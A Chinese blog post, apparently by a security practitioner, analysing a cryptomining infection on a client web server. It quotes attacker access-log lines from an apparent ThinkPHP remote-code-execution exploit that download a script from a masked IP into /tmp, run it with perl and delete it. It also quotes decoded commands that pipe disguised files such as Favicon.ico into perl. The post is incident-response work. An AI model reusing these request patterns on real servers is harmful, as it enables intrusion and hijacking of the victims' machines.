一次挖矿病毒攻击分析
这两天期末了,最近老板这里突然来了个任务,客户服务器被攻击了,某台机器的cpu一直都跑满了,持续高负荷状态,客户公司的运营实在没有办法找到了我们。
先说一说之前这台服务器也出现过问题,被两波人搞过,一波写了webshell,另个一种了挖矿病毒,都被清除了,当然这些我都没有参与。
因为老板比较忙,我和另一个小伙伴接手进行分析,我们拿到这台服务器,既然是web服务器,最好得最有效的办法就是看web日志,但是这个日志是在很多,这就考虑经验问题了,另一个小伙伴道行比我深,他发现了痕迹:
$ cat aso_access.log | grep "wget" | grep "/2019"|grep "200"
通过很多尝试,在筛选“wget”的时候找到了攻击痕迹。
$ xxx.xxx.xxx.xxx - - [xx/xx/2019:xx:xx:xx +0800] "POST /?module=wget [http://xxx.xxx.xxx.xxx/ibus](http://xxx.xxx.xxx.xxx/ibus) -O /tmp/6b5a412bb56c0f0af33017cc88718de3 HTTP/1.1" 200 2979 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0"
emmmmm,看到这个POST的请求,基本可以猜测出就是这几天爆出的thinkphp新的rce,具体读者可以去看看相关的报告,rce的分析网上也有了,有想去的可以去了解一下。根据这条日志,筛选ip我们找到了具体的攻击痕迹:
$ xxx.xxx.xxx.xxx - - [xx/xx/2019:xx:xx:xx +0800] "POST /?module=wget [http://xxx.xxx.xxx.xxx/ibus](http://xxx.xxx.xxx.xxx/ibus) -O /tmp/6b5a412bb56c0f0af33017cc88718de3 HTTP/1.1" 200 2979 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0"
上传ibus脚本文件到tmp目录下命名为指定文件,这里www用户有对tmp目录的读写权限。
$ xxx.xxx.xxx.xxx - - [xx/xx/2019:xx:xx:xx +0800] "POST /?module=perl /tmp/6b5a412bb56c0f0af33017cc88718de3;sleep 2;rm -rf /tmp/6b5a412bb56c0f0af33017cc88718de3 HTTP/1.1" 200 3699 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0"
执行tmp中上传的指定文件,并等待执行完成,删除文件.
本地虚拟环境执行了一下这个ibus脚本:
本地执行脚本
可以看到这里执行生成了三个sh简单加密的脚本文件:nmi,nbus和.dbus是哪个文件,这三个脚本文件解密之后是三个cat和perl的脚本,分别执行了一下命令:
$ cat /xxx/xxx/xxx/xxx/Favicon.ico | perl
$ cat /xxx/xxx/pkcs | perl
$ cat /xxx/xxx/xxx/xxxxx/xxx/xxxxxx/mockup | perl
执行了三个perl脚本,就是挖矿的脚本了。最后我们把生成的恶意文件备份之后就进行清除了,总共是三个sh脚本,三个perl挖矿脚本和两个记录id的随机数之类的文件。
怎么说呢,这次攻击分析看似挺简单的,但是最难的部分,从日志里找出攻击者的恶意访问是很困难的,需要有很多的经验,比如对最近新漏洞的了解,以及各类典型漏洞的攻击方式,才能及时的从庞大的日志文件中根据特征找到攻击者的痕迹。
安全从业者还是十分吃经验的,博主也会更多的在实战中历练自己,也会分享记录自己的经验。